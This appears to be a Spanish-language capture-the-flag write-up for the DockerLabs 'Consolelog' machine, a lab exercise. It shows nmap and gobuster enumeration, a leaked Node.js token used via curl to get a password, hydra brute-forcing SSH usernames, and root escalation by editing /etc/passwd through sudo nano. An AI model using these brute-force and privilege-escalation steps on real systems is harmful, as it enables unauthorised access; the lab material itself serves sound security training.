miguel@home:~$

Consolelog - DockerLabs

OS Dificultad Creator
Linux Fácil El Pingüino de Mario

Reconocimiento Inicial

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
  • -p-: Escanea todos los puertos (1-65535).
  • --open: Solo muestra los puertos abiertos.
  • -sS: Realiza un escaneo SYN, que es rápido y discreto.
  • --min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
  • -n: No realiza resolución DNS.
  • -Pn: No realiza ping previo para determinar si el host está activo.
  • -vvv: Muestra resultados detallados y en tiempo real.

image

Durante el escaneo, descubrimos que los puertos abiertos son:

  • 8080 (HTTP)
  • 3000 (Node.js)
  • 5000 (SSH)

Enumeración de Servicios

A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad y obtenemos más información sobre los servicios asociados a estos puertos.

nmap -p80,3000,5000 -sCV 172.17.0.2 -oG targeted  

image

Exploración Web

Al navegar al puerto 80, descubrimos un sitio web con el título “Mi sitio web” y un botón etiquetado como “Botón en fase beta”.

Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
  • gobuster dir: Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.17.0.2/: Especifica la URL objetivo que deseas escanear.
  • -w: Especifica el diccionario a utilizar.
  • -x: Indica los tipos de extensiones que deseas buscar.

image

Encontramos una ruta llamada /backend, la cual contiene varios archivos. Uno de ellos es server.js, que revela la configuración del servicio Node.js en el puerto 3000.

const express = require('express');
const app = express();

const port = 3000;

app.use(express.json());

app.post('/recurso/', (req, res) => {
    const token = req.body.token;
    if (token === 'tokentraviesito') {
        res.send('lapassworddebackupmaschingonadetodas');
    } else {
        res.status(401).send('Unauthorized');
    }
});

app.listen(port, '0.0.0.0', () => {
    console.log(`Backend listening at http://consolelog.lab:${port}`);
});

Este código indica que en el puerto 3000, al enviar una petición POST a la ruta /recurso con un cuerpo JSON que contenga el token tokentraviesito, se nos devolverá la cadena lapassworddebackupmaschingonadetodas.

Realizamos la petición con curl:

curl -X POST http://172.17.0.2:3000/recurso/ -H "Content-Type: application/json" -d '{"token": "tokentraviesito"}'  

image

Obtuvimos la contraseña lapassworddebackupmaschingonadetodas. Aunque aún no sabemos a qué pertenece, intentamos realizar fuerza bruta en el servicio SSH utilizando hydra para buscar un usuario válido.

hydra -L /usr/share/wordlists/rockyou.txt  -p "lapassworddebackupmaschingonadetodas" ssh://172.17.0.2:5000 -t 4

image

Encontramos el usuario lovely.

Escalación de Privilegios

Tras acceder como lovely, ejecutamos sudo -l y verificamos que podemos ejecutar nano como root:

image

Usamos nano para modificar el archivo /etc/passwd y eliminar la x del usuario root. Esto elimina la solicitud de contraseña al iniciar sesión como root.

image

Finalmente, ejecutamos:

su root

Ahora tenemos acceso como usuario root.

image